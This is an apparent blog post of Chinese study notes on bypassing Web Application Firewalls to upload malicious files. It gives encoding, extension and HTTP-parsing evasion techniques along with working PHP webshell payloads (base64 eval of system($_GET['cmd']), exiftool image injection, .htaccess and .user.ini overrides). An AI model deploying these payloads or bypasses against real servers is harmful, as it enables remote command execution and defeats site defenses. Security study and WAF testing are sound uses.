当前位置: 首页 > news >正文

文件上传漏洞绕过WAF

文件上传漏洞绕过WAF学习笔记


1. WAF检测原理

WAF(Web应用防火墙)通过以下方式拦截文件上传攻击:

  1. 关键字匹配:检测文件名、内容中的敏感词(如<?phpeval)。

  2. 扩展名黑名单:拦截.php.jsp等危险扩展名。

  3. 文件头验证:检查文件魔数(如FFD8FF对应JPEG)。

  4. 流量特征分析:检测异常请求结构(如超长文件名、畸形HTTP包)。


2. 通用绕过技术

2.1 解析差异利用

  • 大小写混合sHell.PhP.Php(部分WAF未统一大小写)。

  • 特殊字符插入

    • 分号截断(IIS):shell.asp;.jpg → 解析为.asp

    • 换行符插入:filename="shell.p\nhp"(绕过正则匹配)。

  • 扩展名混淆

    • 多重扩展名:shell.php.jpg → 结合解析漏洞(如Apache解析最后有效扩展名)。

    • 非标准扩展名:.php7.phtml.phar(需环境支持)。


2.2 编码混淆

  • URL编码

    • shell.%70hp%70=p)→ 部分WAF不解码检测。

  • Unicode编码

    • shell.\u0070hp → 转换为shell.php

  • HTML实体编码

    • 文件名:shell.#112;hp#112;=p)。

  • Base64/Hex编码文件内容

    php

    <?= eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>  

2.3 分块传输(Chunked Encoding)

  • 绕过原理:WAF可能不解析分块传输的文件内容。

  • 示例

    http

    POST /upload HTTP/1.1  
    Transfer-Encoding: chunked  
    ​
    7\r\n  
    <?php \r\n  
    8\r\n  
    system($_GET['cmd']);\r\n  
    0\r\n  
  • 工具:Burp Suite的Chunked Coding Converter插件。


2.4 文件内容绕过

  • 图片马注入

    • 在图片元数据中插入代码(Exif注释、IPTC字段)。

    bash

    exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg  
  • 短标签与动态调用

    php

    <?= `$_GET[0]`?>  # 短标签  
    <?php $_GET['a']($_GET['b']); ?>  # 动态函数调用  
  • 代码碎片化

    php

    <?php $a = "syste"; $b = "m"; $a.$b("id"); ?>  

2.5 HTTP协议特性利用

  • 参数污染

    http

    POST /upload?filename=shell.jpg HTTP/1.1  
    Content-Disposition: form-data; name="file"; filename="shell.php"  
    • 部分WAF优先取URL参数中的文件名。

  • 多文件上传绕过

    • 在多个文件字段中插入恶意文件,WAF可能只检测第一个。


3. 针对特定WAF的绕过

3.1 云WAF(如Cloudflare、阿里云)

  • 缓存污染攻击

    • 上传合法文件触发缓存,再覆盖为恶意文件。

  • IP轮询绕过

    • 通过大量不同IP上传,绕过频率限制。

3.2 ModSecurity规则绕过

  • 已知规则缺陷

    • 使用非常规扩展名:.php%20(空格)、.php.(末尾点)。

    • 利用正则回溯限制:构造超长文件名耗尽WAF计算资源。


4. 高级技巧

4.1 .htaccess/.user.ini覆盖

  • .htaccess(Apache)

    复制

    AddType application/x-httpd-php .jpg  
  • .user.ini(PHP)

    复制

    auto_prepend_file=shell.jpg  

4.2 分片上传绕过

  • 上传文件分片后合并,绕过WAF对完整文件的检测。

4.3 0day漏洞利用

  • CVE-2023-XXXX:特定WAF未修复的解析漏洞(需持续跟踪)。

http://www.lryc.cn/news/545014.html

相关文章:

  • [含文档+PPT+源码等]精品基于Python实现的vue3+Django计算机课程资源平台
  • Qt 开源音视频框架模块之QtAV播放器实践
  • 【前端】XML,XPATH,与HTML的关系
  • ubuntu服务器安装VASP.6.4.3
  • 市场加速下跌,但监管「坚冰」正在消融
  • 7.2 - 定时器之计算脉冲宽度实验
  • Imagination DXTP GPU IP:加速游戏AI应用,全天候畅玩无阻
  • 关于流水线的理解
  • 采样算法二:去噪扩散隐式模型(DDIM)采样算法详解教程
  • 北京大学DeepSeek提示词工程与落地场景(PDF无套路免费下载)
  • Hutool - POI:让 Excel 与 Word 操作变得轻而易举
  • IDEAPyCharm安装ProxyAI(CodeGPT)插件连接DeepSeek-R1教程
  • Iceberg Catalog
  • 2025年2月个人工作生活总结
  • vscode java环境中文乱码的问题
  • Java数据结构第十五期:走进二叉树的奇妙世界(四)
  • 【MySQL】CAST()在MySQL中的用法以及其他常用的数据类型转换函数
  • 使用Truffle、Ganache、MetaMask、Vue+Web3完成的一个简单区块链项目
  • 初出茅庐的小李博客之按键驱动库使用
  • 如何调试Linux内核?
  • ECharts组件封装教程:Vue3中的实践与探索
  • NAT 代理服务 内网穿透
  • CAN硬件协议详解
  • 网络安全等级保护:网络安全等级保护基本技术
  • 信刻光盘安全隔离与信息交换系统让“数据摆渡”安全高效
  • 数据结构课程设计(java实现)---九宫格游戏,也称幻方
  • [思考记录]AI时代下,悄然的改变
  • JAVA笔记【一】
  • [Java基础] 常用注解
  • uvm中的run_test作用